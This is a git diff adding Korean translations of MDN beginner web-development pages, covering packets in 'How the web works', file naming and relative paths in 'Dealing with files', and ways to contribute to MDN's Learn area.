+<p>앞서 우리는 서버에서 클라이언트로 전송되는 데이터의 포맷을 설명하기 위해 "패킷" 이라는 용어를 사용했습니다. 이게 무엇을 의미하는 걸까요? 기본적으로, 데이터가 웹을 거쳐서 전송될 때, 수천개의 작은 덩어리들로 전송됩니다. 그래서 다양한 웹 사용자들은 동시에 같은 웹 사이트를 다운로드 할 수 있게 됩니다. 만약 웹 사이트가 하나의 큰 덩어리들로 전송된다면, 오직 한 번에 하나의 사용자만 다운로드 할 수 있을 것입니다. 이는 분명 웹을 매우 비효율적이고, 사용하기에 재미없게 만들 것입니다.</p>
+
+<h2 id="여기도_보세요">여기도 보세요</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/Common_questions/How_does_the_Internet_work">인터넷 작동 방식</a></li>
+ <li><a href="https://dev.opera.com/articles/http-basic-introduction/">HTTP — 어플리케이션-계층 규약</a></li>
+ <li><a href="https://dev.opera.com/articles/http-lets-get-it-on/">HTTP: Let’s GET It On!</a></li>
+ <li><a href="https://dev.opera.com/articles/http-response-codes/">HTTP: 응답 코드</a></li>
+</ul>
+
+<h2 id="크레딧">크레딧</h2>
+
+<p>거리 사진: <a href="https://www.flickr.com/photos/kdigga/9110990882/in/photolist-cXrKFs-c1j6hQ-mKrPUT-oRTUK4-7jSQQq-eT7daG-cZEZrh-5xT9L6-bUnkip-9jAbvr-5hVkHn-pMfobT-dm8JuZ-gjwYYM-pREaSM-822JRW-5hhMf9-9RVQNn-bnDMSZ-pL2z3y-k7FRM4-pzd8Y7-822upY-8bFN4Y-kedD87-pzaATg-nrF8ft-5anP2x-mpVky9-ceKc9W-dG75mD-pY62sp-gZmXVZ-7vVJL9-h7r9AQ-gagPYh-jvo5aM-J32rC-ibP2zY-a4JBcH-ndxM5Y-iFHsde-dtJ15p-8nYRgp-93uCB1-o6N5Bh-nBPUny-dNJ66P-9XWmVP-efXhxJ">Street composing</a>, by <a href="https://www.flickr.com/photos/kdigga/">Kevin D</a>.</p>
+
+<p>{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li id="Installing_basic_software"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">Installing basic software</a></li>
+ <li id="What_will_your_website_look_like"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/What_will_your_website_look_like">What will your website look like?</a></li>
+ <li id="Dealing_with_files"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">Dealing with files</a></li>
+ <li id="HTML_basics"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/HTML_basics">HTML basics</a></li>
+ <li id="CSS_basics"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/CSS_basics">CSS basics</a></li>
+ <li id="JavaScript_basics"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript basics</a></li>
+ <li id="Publishing_your_website"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Publishing_your_website">Publishing your website</a></li>
+ <li id="How_the_web_works"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/How_the_Web_works">How the web works</a></li>
+</ul>
diff --git a/files/ko/learn/getting_started_with_the_web/파일들_다루기/index.html b/files/ko/learn/getting_started_with_the_web/파일들_다루기/index.html
new file mode 100644
index 0000000000..1ed38e8cde
--- /dev/null
+++ b/files/ko/learn/getting_started_with_the_web/파일들_다루기/index.html
@@ -0,0 +1,117 @@
+---
+title: 파일 다루기
+slug: Learn/Getting_started_with_the_web/파일들_다루기
+tags:
+  - Beginner
+  - CodingScripting
+  - Files
+  - Guide
+  - HTML
+  - 'l10n:priority'
+translation_of: Learn/Getting_started_with_the_web/Dealing_with_files
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>웹사이트는 문자, 코드, 스타일시트, 미디어 등 수많은 파일로 구성되어 있습니다. 웹사이트를 제작할 때, 여러분은 이러한 파일들을 여러분의 컴퓨터에 적당한 양식에 맞춰 정리해야 하고, 서로가 잘 작동하는지 확인해야 하며, 최종적으로 <a href="/en-US/Learn/Getting_started_with_the_web/Publishing_your_website">서버에 업로드하기</a> 전에 모든 내용이 올바르게 나타나게 해야 합니다. 파일 다루기에서는 여러분의 웹사이트를 위한 적당한 양식을 만들기 위해 여러분이 알아야 하는 몇 가지 문제들에 대해 이야기 할 것입니다.</p>
+</div>
+
+<h2 id="웹사이트는_컴퓨터의_어디에_두어야_할까요">웹사이트는 컴퓨터의 어디에 두어야 할까요?</h2>
+
+<p>만약 여러분이 로컬컴퓨터에서 웹사이트에 대해 작업한다면, 퍼블리시된 웹사이트의 파일 구조를 반영하는 하나의 폴더 안에 관련된 모든 파일을 유지하여야 합니다. 이 폴더는 여러분이 원하는 곳이라면 어디에나 둘 수 있지만, 아마도 쉽게 찾을 수 있는 곳에 두어야 할 것입니다. 예를들면 여러분의 바탕화면이나 홈 폴더, 또는 하드 드라이브의 루트(root)가 될 것입니다.</p>
+
+<ol>
+ <li>여러분의 웹사이트 프로젝트를 저장할 장소를 선택하세요. 여기에, <code>web-projects</code> (또는 비슷한 이름의 폴더) 라고 불리는 새 폴더를 <u>생성하세요</u>. 이 곳이 여러분의 웹사이트 프로젝트가 위치할 곳입니다.</li>
+ <li>이 첫 번째 폴더에, 또다른 폴더를 하나 만들고 첫 번째 웹사이트를 저장하도록 합시다. 그 폴더를 <code>test-site</code> (또는 무언가 더 상상력을 발휘한 다른 이름도 좋습니다) 라고 부릅시다.</li>
+</ol>
+
+<h2 id="포장과_공백에_대한_여담">포장과 공백에 대한 여담</h2>
+
+<p>이 글을 통해 알게 되겠지만, 폴더와 파일의 이름을 지을 때 공백 없이 영문 소문자로 짓기를 바랍니다. 이것은 다음과 같은 이유 때문입니다.</p>
+
+<ol>
+ <li>많은 컴퓨터들 -특히 웹 서버- 은 영문 대소문자를 구분합니다. 그래서 예를 들면, 웹사이트에 <code>test-site/<em><strong>M</strong></em>y<strong><em>I</em></strong>mage.jpg라는 </code>이미지를 저장해 두었는데 여러분이 다른 파일에서 <code>test-site/<em><strong>m</strong></em>y<strong><em>i</em></strong>mage.jpg라는 </code>이미지를 호출하는 것은 작동하지 않을 것입니다.</li>
+ <li>브라우저들과 웹 서버들, 그리고 프로그래밍 언어들은 공백을 일관되게 처리하지 않습니다. 예를 들면, 만약 여러분이 파일 이름에 공백을 사용한다면, 어떤 시스템은 그 파일 이름을 두개의 파일 이름으로 다룰 것입니다. 어떤 서버들은 그 파일 이름의 공백을 "%20"(URIs 안의 공백을 위한 문자 코드)으로 대체하므로 여러분의 모든 링크들을 망가뜨릴 것입니다. 또한, 밑줄문자를 사용하기 보다는 대시(하이픈)으로 단어를 구분하는 것이 훨씬 더 좋습니다.: <code>my-file.html</code> vs.<code> my_file.html</code>.</li>
+</ol>
+
+<p>간단히 말하자면 여러분은 파일 이름을 지을 때 붙임표(hyphen)를 사용해야 합니다. 구글 검색 엔진은 하이픈를 단어 구분자로 취급합니다. 그러나 밑줄문자는 단어 구분자로 취급하지 않습니다. 이러한 이유로, 여러분이 폴더와 파일 이름을 지을 때에는 공백이 없는 영문 소문자와 대시로 구분된 단어로 작성하는 습관을 들이는 것이 제일 좋습니다. 적어도 여러분이 무엇을 하는지 알 때까지는요. 그렇게하면 나중에 발생할 문제를 줄일 수 있습니다.</p>
+
+<h2 id="웹사이트는_어떤_구조를_가져야_할까요">웹사이트는 어떤 구조를 가져야 할까요?</h2>
+
+<p>다음으로, 우리의 테스트 사이트가 어떤 구조를 가져야 하는지 살펴 봅시다. 어떤 웹사이트 프로젝트를 만들든지간에 가장 공통으로 가지게 되는 것들은 index HTML 파일과 이미지, 스타일 파일(CSS 파일), 스크립트 파일들을 포함하고 있는 폴더입니다. 이것들을 이제 생성해 봅시다.</p>
+
+<ol>
+ <li><code><strong>index.html</strong></code>: 이 파일은 보통은 홈페이지의 내용을 가지고 있습니다. 다시 말하면, 처음 웹사이트에 방문하면 사람들이 볼 수 있는 텍스트나 이미지이 파일 같은 것입니다. 텍스트 에디터를 사용하여, <code>index.html</code> 라는 새 파일을 생성하고 <code>test-site</code> 폴더 안에 저장하세요.</li>
+ <li><strong><code>images</code> 폴더</strong>: 이 폴더는 여러분의 사이트에 사용할 모든 이미지들을 포함하고 있습니다. <code>test-site</code> 폴더 안에, <code>images</code> 라는 폴더를 생성하세요.</li>
+ <li><strong><code>styles</code> 폴더</strong>: 이 폴더는 여러분의 내용을 보기 좋게 꾸며주기(예를 들어, 문자와 배경색을 세팅하는 것) 위한 CSS 코드를 포함할 것입니다. <code>test-site</code> 폴더 안에, <code>styles</code> 라는 폴더를 생성하세요.</li>
+ <li><strong><code>scripts</code> 폴더</strong>: 이 폴더는 모든 JavaScript 코드를 포함하고 있는데, 이 코드는 여러분의 사이트에 상호작용하는 기능을 추가할 때 사용될 것입니다.예를들면, 클릭할 때 자료를 불러오는 버튼). <code>test-site</code> 폴더 안에, <code>scripts</code> 라는 폴더를 생성하세요.</li>
+</ol>
+
+<div class="note">
+<p><strong>참고</strong>: Windows 컴퓨터에서는 파일 이름을 보는것에 문제가 생길 수 있습니다, 왜냐하면 윈도우는 기본적으로 <strong>알려진 확장자 자동 숨김</strong>이라는 귀찮은 옵션을 갖고 있기 때문입니다. 일반적으로 윈도우 익스플로러에서, <strong>폴더 옵션...</strong>에서 알려진 확장자 자동 숨김을 선택 해제하는 것으로 이 옵션을 끌 수 있습니다. 여러분의 윈도우 버전을 포함한 더 많은 정보는, 인터넷에서 검색을 해보세요!</p>
+</div>
+
+<h2 id="파일_경로">파일 경로</h2>
+
+<p>파일들이 서로 의사소통할 수 있도록 하려면 여러분은 서로에게 각자의 파일 경로를 제공해야 합니다 — 기본적으로 다른 파일이 어디있는지 알 수 있도록 경로를 제공해야하는 것이죠. 이것을 시연해보기 위해, 우리는 <code>index.html</code>파일에 약간의<code>HTML</code>을 작성할 것입니다, 그리고 <a href="/en-US/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like">"웹사이트의 외관은 어떻게 할까요?"</a> 라는 글에서 여러분이 선택한 이미지를 보여주게 할 것입니다.</p>
+
+<ol>
+ <li><code>images</code>폴더 안에 여러분이 선택한 이미지를 복사해 넣으세요.</li>
+ <li><code>index.html</code> 파일을 열고, 아래의 코드를 보이는 그대로 집어 넣습니다. 지금은 이 모든게 무슨 뜻인지 걱정할 필요가 없습니다 — 본 시리즈에서 나중에 이 구조에 대해 더 자세히 살펴볼 겁니다.
+  <pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;My test page&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;img src="" alt="My test image"&gt;
+  &lt;/body&gt;
+&lt;/html&gt; </pre>
+ </li>
+ <li><code>&lt;img src="" alt="My test image"&gt;</code>라는 줄은 페이지 안으로 이미지를 삽입하는 HTML 코드 입니다. 우리는 이미지가 어디에 있는지에 대해 HTML에게 말해줄 필요가 있습니다. 이미지는 <em>images라는</em> 폴더 안에 있는데, 이것은 <code>index.html</code> 파일과 같은 폴더에 있습니다. <code>index.html</code>파일에서 우리 이미지 파일로 파일 구조를 이동하기 위해, 우리가 필요한 파일 경로는 <code>images/your-image-filename</code>입니다. 예를 들어, 우리 이미지가 <code>firefox-icon.png</code>라면, 파일 경로는 <code>images/firefox-icon.png</code>가 됩니다.</li>
+ <li>여러분의 HTML 코드 중 src="" 의 쌍따옴표 사이에 파일 경로를 입력하세요.</li>
+ <li>HTML 파일을 저장하고나서, 여러분의 웹 브라우저에서 이것을 로드하세요 (파일을 더블 클릭). 여러분의 새 웹페이지가 이미지를 표시하는 것을 보실 수 있습니다!</li>
+</ol>
+
+<p><img alt="A screenshot of our basic website showing just the firefox logo - a flaming fox wrapping the world" src="https://mdn.mozillademos.org/files/9229/website-screenshot.png" style="display: block; height: 542px; margin: 0px auto; width: 690px;"></p>
+
+<p>파일 경로를 위한 일반적인 규칙들:</p>
+
+<ul>
+ <li>호출하는 HTML 파일과 같은 디렉토리에 있는 파일을 연결하려면 파일이름만 사용하면 됩니다. 예시: <code>my-image.jpg</code>.</li>
+ <li>하위 폴더에 위치한 파일을 참조하기 위해서는, 디렉토리 이름과 전방향 슬래시(/)를 경로 앞에 추가합니다. 예시: <code>subdirectory/my-image.jpg</code>.</li>
+ <li>호출하는 HTML 파일의 상위 디렉토리에 있는 파일을 연결하려면, 두 점을 찍어야 합니다. 예를 들면, 만약 <code>index.html</code>가 <code>test-site</code>의 하위 폴더 안에 있고 <code>my-image.png</code>가 <code>test-site</code> 안에 있을 때, 여러분은 <code>../my-image.png</code> 경로를 통해 <code>index.html</code>에서 <code>my-image.png</code>를 참조할 수 있습니다.</li>
+ <li>여러분이 원하는대로 조합해서 사용할 수도 있습니다, 예를 들면, <code>../subdirectory/another-subdirectory/my-image.png</code>.</li>
+</ul>
+
+<p>지금으로선, 이것이 여러분이 알아야 할 전부 입니다.</p>
+
+<div class="note">
+<p><strong>노트</strong>: 윈도우 파일 시스템은 기본 슬래시가 아니라 역슬래시를 사용하는 경향이 있습니다. 예시: <code>C:\windows</code>. 이것은 HTML에서 문제가 되지않습니다 — 여러분이 윈도우에서 웹 사이트를 개발하더라도 전방향 슬래시(/)를 코드에 사용해야 합니다.</p>
+</div>
+
+<h2 id="또_무엇을_더_해야할까요">또 무엇을 더 해야할까요?</h2>
+
+<p>현재로서는 이것이 전부입니다. 여러분의 폴더 구조는 이와 같이 보여야 합니다:</p>
+
+<p><img alt="A file structure in mac os x finder, showing an images folder with an image in, empty scripts and styles folders, and an index.html file" src="https://mdn.mozillademos.org/files/9231/file-structure.png" style="display: block; height: 577px; margin: 0px auto; width: 929px;"></p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}</p>
+
+
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li id="Installing_basic_software"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">Installing basic software</a></li>
+ <li id="What_will_your_website_look_like"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/What_will_your_website_look_like">What will your website look like?</a></li>
+ <li id="Dealing_with_files"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">Dealing with files</a></li>
+ <li id="HTML_basics"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/HTML_basics">HTML basics</a></li>
+ <li id="CSS_basics"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/CSS_basics">CSS basics</a></li>
+ <li id="JavaScript_basics"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript basics</a></li>
+ <li id="Publishing_your_website"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Publishing_your_website">Publishing your website</a></li>
+ <li id="How_the_web_works"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/How_the_Web_works">How the web works</a></li>
+</ul>
diff --git a/files/ko/learn/how_to_contribute/index.html b/files/ko/learn/how_to_contribute/index.html
new file mode 100644
index 0000000000..08ee091c24
--- /dev/null
+++ b/files/ko/learn/how_to_contribute/index.html
@@ -0,0 +1,105 @@
+---
+title: MDN의 학습 영역에 기여하는 방법
+slug: Learn/How_to_contribute
+tags:
+  - Documentation
+  - MDN Meta
+  - 'l10n:priority'
+  - 가이드
+  - 배우기
+  - 참여
+  - 초보자
+translation_of: Learn/How_to_contribute
+---
+<div>{{LearnSidebar}}</div>
+
+<p><span id="result_box" lang="ko"><span>처음으로 또는 심도 깊은 검색을 통해 오셨다면 MDN 학습 영역에 참여하는 데 관심이있는 것 같습니다.</span> 그건<span class="alt-edited"> 좋은 소식입니다!</span></span></p>
+
+<p><span id="result_box" lang="ko"><span>이 페이지에서는 MDN의 학습 콘텐츠를 개선하는 데 필요한 모든 것을 찾을 수 있습니다.</span> <span>얼마나 많은 시간을 가지고 있는지, 초보자이든</span></span><span lang="ko"><span>, 웹 개발자이든</span></span><span lang="ko"><span>, 교사이든</span></span><span lang="ko"><span>, 할 수있는 일이 많이 있습니다.</span></span></p>
+
+<div class="note">
+<p><strong>Note</strong>: <span id="result_box" lang="ko"><span>새로운 학습 영역 기사를 작성하는 방법에 대한 안내서는 사람들이 웹에 대해 알 수 있도록 기사를 작성하는 방법(</span></span><a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web"><u><font color="#0066cc">How to write an article to help people learn about the Web</font></u></a><span lang="ko"><span>)을 제공합니다.</span></span></p>
+</div>
+
+<h2 id="특정_작업_찾기"><span class="short_text" id="result_box" lang="ko"><span class="alt-edited">특정 작업 찾기</span></span></h2>
+
+<p><span id="result_box" lang="ko"><span>참여자는 트</span></span>렐<span lang="ko"><span>로 보드(</span></span><a href="https://trello.com/b/LDggrYSV"><u><font color="#0066cc"><strong>Trello board</strong></font></u></a><span lang="ko"><span>)</span></span>를 사용하여 작업을 구성합니다. 이렇게 하면 프로젝트에서 수행할 특정 작업을 찾을 수 있습니다. 참여하려면 트렐로 계정을 만들고 <u><a href="https://developer.mozilla.org/en-US/profiles/chrisdavidmills">Chris Mills</a></u>에게 보드에 대한 쓰기 액세스 권한을 요청하면 됩니다.</p>
+
+<p>기여는 새로운 것을 즐겁게 배우는 좋은 방법입니다<span lang="ko"><span>. </span></span>만약 당신이 길을 잃거나 질문이 있으면<span lang="ko"><span> </span></span><a href="https://developer.mozilla.org/ko/docs/MDN/%EC%BB%A4%EB%AE%A4%EB%8B%88%ED%8B%B0"><u><font color="#0066cc">our mailing list</font></u></a> <span lang="ko"><span>또는 </span></span><a href="https://developer.mozilla.org/en-US/docs/MDN/Community#Get_into_IRC"><u><font color="#0066cc">IRC channel</font></u></a><span lang="ko"><span> (자세한 내용은 이 페이지 하단 참조)로 문의하십시오.</span> </span><a href="https://developer.mozilla.org/en-US/profiles/chrisdavidmills"><u><font color="#0066cc">Chris Mills</font></u></a><span lang="ko"><span>는 학습 영역의 핵심 드라이버입니다. 직접 디렉토리에 알림을 보내볼 수도 있습니다.</span></span></p>
+
+<p>다음 섹션에서는 할 수있는 작업 유형에 대한 일반적인 아이디어를 제공합니다.</p>
+
+<h2 id="초보자"><span class="short_text" id="result_box" lang="ko"><span>초보자</span></span></h2>
+
+<div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr">좋습니다! 초보자는 학습 자료에 대한 피드백을 만들고 제공하는 데 매우 중요하고 가치가 있습니다. 이 기사에 대한 독자적인 시각을 잠재 고객의 구성원으로 확보하면 우리 팀의 소중한 구성원이 될 수 있습니다. 실제로, 만약 당신이 무언가를 배우기 위해 우리의 글 중 하나를 사용하여 곤경에 빠지거나 글을 약간 혼란스럽게 하는 것을 발견한다면, 문제를 해결하거나 문제에 대해 알려줌으로써 해결할 수 있습니다.</div>
+
+<div class="trans-verified-button-small" dir="ltr"></div>
+
+<p><span class="short_text" id="result_box" lang="ko"><span>다음은 </span></span>참여<span class="short_text" lang="ko"><span> 할 수있는 몇 가지 제안 방법입니다.</span></span></p>
+
+<dl>
+ <dt><span class="short_text" id="result_box" lang="ko"><span>기사에 태그 추가[</span></span><a href="/en-US/docs/MDN/Contribute/Howto/Tag">Add tags to our articles</a>] (<em>5 min</em>)</dt>
+ <dd><span id="result_box" lang="ko"><span>MDN 컨텐츠에 태그를 지정하는 것은 MDN에 기여하는 가장 쉬운 방법 중 하나입니다.</span> </span>많은 기능이 정보를 제공하기 위해 태그를 사용하므로 태그 지정을 돕는 것은 매우 가치가 있는 공헌입니다.<span lang="ko"> <span>시작하려면 태그가없는 용어집 항목(<u><a href="https://developer.mozilla.org/ko/docs/MDN/Doc_status/Glossary">glossary entries</a></u>) 및 학습 기사(<u><a href="https://developer.mozilla.org/ko/docs/MDN/Doc_status/Learn">learning articles</a></u>) 목록을 살펴보십시오.</span></span></dd>
+ <dt>용어 사전<span class="short_text" lang="ko"><span> 항목 읽기 및 검토</span></span>[<a href="https://developer.mozilla.org/ko/docs/Glossary">Read and review a glossary entry</a>] (<em>5 min</em>)</dt>
+ <dd><span id="result_box" lang="ko"><span>우리는 당신이 초보자로서 우리의 콘텐츠를 바라 보는 신선한 눈을 필요로 합니다.</span> <span>용어집을 쉽게 이해할 수 없다면 항목을 개선해야한다는 의미입니다.</span> <span>필요하다고 생각되는 부분은 자유롭게 변경하십시오.</span> <span>자신이 직접 항목을 편집 할 수있는 적절한 기술이 없다고 생각한다면 </span></span><u><a href="https://developer.mozilla.org/en-US/docs/MDN/Community#Join_our_mailing_lists">our mailing list</a></u>로 알려주십시오.</dd>
+ <dt>새로운 용어집 항목 작성[<a href="/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">Write a new glossary entry</a>] (<em>20 minutes</em>)</dt>
+ <dd>
+ <div id="gt-res-wrap">
+ <div id="gt-res-content">
+ <div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="ko"><span>이것은 새로운 것을 배우는 가장 효과적인 방법입니다.</span> <span>이해하려는 개념을 고르고, 그것에 대해 배울 때 그에 관한 용어집 항목을 작성하십시오.</span> <span>다른 사람들에게 무언가를 설명하는 것은 지식을 "시멘트"로 만들고 다른 사람들을 돕는 동안 자신이 이해할 수 있게 하는 훌륭한 방법입니다.</span> 모두에게 이득입니다<span>!</span></span></div>
+ </div>
+ </div>
+ </dd>
+ <dt><span class="short_text" id="result_box" lang="ko"><span>학습 자료 읽기 및 검토</span></span>[<a href="/en-US/Learn/Index">Read and review a learning article</a>] (<em>2 hours</em>)</dt>
+ <dd>
+ <div class="g-unit" id="gt-res-c">
+ <div id="gt-res-p">
+ <div id="gt-res-data">
+ <div id="gt-res-wrap">
+ <div id="gt-res-content">
+ <div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="ko"><span>이것은 </span></span>용어 사전 <span lang="ko"><span> 항목을 검토하는 것과 같습니다. (위 참조)</span> <span>이 기사는 일반적으로 꽤 길기 때문에 더 많은 시간이 걸립니다.</span></span></div>
+ </div>
+ </div>
+ </div>
+ </div>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="웹_개발자">웹 개발자</h2>
+
+<p><span id="result_box" lang="ko"><span>좋습니다!</span> 당신의 <span>기술 능력은 초보자에게 기술적으로 정확한 내용을 제공하기 위해 필요한 것입니다.</span> <span>MDN의 이 특정 부분은 웹 학습에만 전념하므로 유용한 설명이 아닌 단순하지 않은 설명을 가능한 간단하게 작성하십시오.</span> <span>지나치게 정확한 것보다 이해하는 것이 더 중요합니다.</span></span></p>
+
+<dl>
+ <dt><span class="short_text" id="result_box" lang="ko"><span>용어집 항목 읽기 및 검토</span></span>[<a href="https://developer.mozilla.org/ko/docs/Glossary">Read and review a glossary entry</a>] (<em>5 min</em>)</dt>
+ <dd>웹 개발자로서, 우리의 콘텐츠가 지나치게 규칙적이지 않으면서 기술적으로 정밀한 지 확인해 주길 바랍니다. 필요하다고 생각되는 부분을 자유롭게 변경하십시오. 콘텐츠를 편집하기 전에 논의하기를 원하시면 <a href="/en-US/docs/MDN/Community#Join_our_mailing_lists">our mailing list</a>나 <a href="/en-US/docs/MDN/Community#Get_into_IRC">IRC channel</a>로 알림을 보내주십시오.</dd>
+ <dt><span class="short_text" id="result_box" lang="ko"><span>새로운 용어집 항목 작성</span></span>[<a href="/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">Write a new glossary entry</a>] (<em>20 minutes</em>)</dt>
+ <dd>기술적인 전문 용어를 명확히 하는 것은 기술적으로 정확하고 간결하게 배우는 좋은 방법이다. 초보자들은 그에 감사할 것입니다. 당신의 도움이 필요한 정의되지 않은 용어(<a href="/en-US/docs/Glossary#Contribute">many undefined terms</a>)가 많이 있습니다. 선택해서 작성하실 수 있습니다. </dd>
+ <dt><span class="short_text" id="result_box" lang="ko"><span>학습 자료 읽기 및 검토</span></span>[<a href="/en-US/Learn/Index">Read and review a learning article</a>] (<em>2 hours</em>)</dt>
+ <dd>이것은 용어집을 읽고 검토하는 것과 같습니다. (위 참조) 이 기사는 일반적으로 꽤 길기 때문에 더 많은 시간이 걸립니다.</dd>
+ <dt><span class="short_text" id="result_box" lang="ko"><span>새로운 학습 기사 작성</span></span>[<a href="/en-US/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web">Write a new learning article</a> ](<em>4 hours or more</em>)</dt>
+ <dd>MDN는 웹 기술사용에 관한 간단한 기사가 부족합니다. (<a href="/en-US/docs/Learn/CSS">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>, 등)MDN은 다소 오래 된 콘텐츠들이 있고, 그를 검토하고 개정할 필요가 있습니다. 기술을 최대한 초보자에게도 웹 기술을 이용하기 쉽게 작성하십시오.</dd>
+ <dt><span class="short_text" id="result_box" lang="ko"><span>연습, 코드 샘플 또는 대화식 학습 도구 만들기</span></span>[<a href="/en-US/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">Create exercises, code samples or interactive learning tools</a>](<em>? hours</em>)</dt>
+ <dd>우리의 모든 학습 기사는 “능동적 학습" 자료라고 부르는 것을 요구합니다.<span lang="ko"><span> 왜냐하면 사람들은 스스로 뭔가를 함으로써 최선을 다해 배우기 때문입니다.</span> <span>이러한 자료는 사용자가 기사에 설명 된 개념을 적용하고 조작하는 데 도움이 되는 연습이나 대화형 콘텐츠입니다. </span></span><a href="http://jsfiddle.net/" rel="external"><u><font color="#0066cc">JSFiddle</font></u></a> <span lang="ko"><span>또는 그와 유사한 코드 샘플을 만드는 것에서 </span></span><a href="https://thimble.mozilla.org/" rel="external"><u><font color="#0066cc">Thimble</font></u></a><span lang="ko"><span>을 사용하여 </span></span>완전히 공유된 대화형 콘텐츠를 만드는 것까지 능동적인 학습 콘텐츠를 만드는 방법은 다양합니다. 창의력을 발휘하십시오!</dd>
+</dl>
+
+<h2 id="교육자">교육자</h2>
+
+<p><span id="result_box" lang="ko"><span>MDN은 기술적 우수성에 대한 오랜 역사를 가지고 있지만 새로 온 사람들에게 개념을 가르치는 가장 좋은 방법에 대한 깊이 있는 이해가 부족합니다.</span> <span>이것은 우리가 교사 또는 교육자로서 당신을 필요로 하는 이유입니다.</span> <span>자료를 통해 독자에게 훌륭한 교육 자료를 제공 할 수 있습니다.</span></span></p>
+
+<dl>
+ <dt><span class="short_text" id="result_box" lang="ko"><span>용어집 항목 읽기 및 검토</span></span>[<a href="https://developer.mozilla.org/ko/docs/Glossary">Read and review a glossary entry</a>] (<em>15 min</em>)</dt>
+ <dd><span id="result_box" lang="ko"><span>용어집 항목을 확인하고 필요하다고 생각되는 부분을 자유롭게 변경하십시오.</span> <span>편집하기 전에 내용을 토론하고 싶다면 </span></span><a href="https://developer.mozilla.org/en-US/docs/MDN/Community#Join_our_mailing_lists"><u><font color="#0066cc">our mailing list</font></u></a><span lang="ko"><span> 나 </span></span><a href="https://developer.mozilla.org/en-US/docs/MDN/Community#Get_into_IRC"><u><font color="#0066cc">IRC channel</font></u></a><span lang="ko"><span>로 알림을 보내주십시오.</span></span></dd>
+ <dt><span class="short_text" id="result_box" lang="ko"><span>새로운 용어집 항목 작성</span></span>[<a href="/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">Write a new glossary entry</a>] (<em>1 hour</em>)</dt>
+ <dd><span id="result_box" lang="ko"><span>용어의 명확하고 간단한 정의와 용어집의 기본 개념은 초보자의 필요를 충족시키는 데 중요합니다.</span> <span>교육자로서의 경험은 훌륭한 용어집 항목을 만드는 데 도움이 될 수 있습니다.</span> <span>우리는 주의가 필요한 많은 정의되지 않은 용어(</span></span><a href="https://developer.mozilla.org/en-US/docs/Glossary#Contribute"><u><font color="#0066cc">many undefined terms</font></u></a><span lang="ko"><span>)를 가지고 있습니다.</span> </span>하나를 선택하고 작성하실 수 있습니다.</dd>
+ <dt><span class="short_text" id="result_box" lang="ko"><span>기사에 삽화 또는 도식을 추가</span></span>[<a href="/en-US/docs/tag/needsSchema">Add illustrations and/or schematics to articles]</a> (<em>1 hour</em>)</dt>
+ <dd><span id="result_box" lang="ko"><span>아시다시피, 삽화는 모든 학습 콘텐츠의 중요한 부분입니다.</span> <span>이것은 종종 MDN에서 부족한 부분이며 당신의 기술이 해당 영역에서 변화를 가져올 수 있습니다.</span> <span>설명이 부족한 기사(</span></span><a href="https://developer.mozilla.org/en-US/docs/tag/needsSchema"><u><font color="#0066cc">articles that lack illustrative content</font></u></a><span lang="ko"><span>)를 확인하고 </span></span>삽화를 삽입하고 싶은 기사를 선택하십시오.</dd>
+ <dt><span class="short_text" id="result_box" lang="ko"><span>학습 자료 읽기 및 검토</span></span>[<a href="/en-US/Learn/Index">Read and review a learning article</a>] (<em>2 hours</em>)</dt>
+ <dd><span id="result_box" lang="ko"><span>이것은 용어집 항목을 검토하는 것과 비슷하지만 (위 참조) 일반적으로 기사가 상당히 길기 때문에 더 많은 시간이 필요합니다.</span></span></dd>
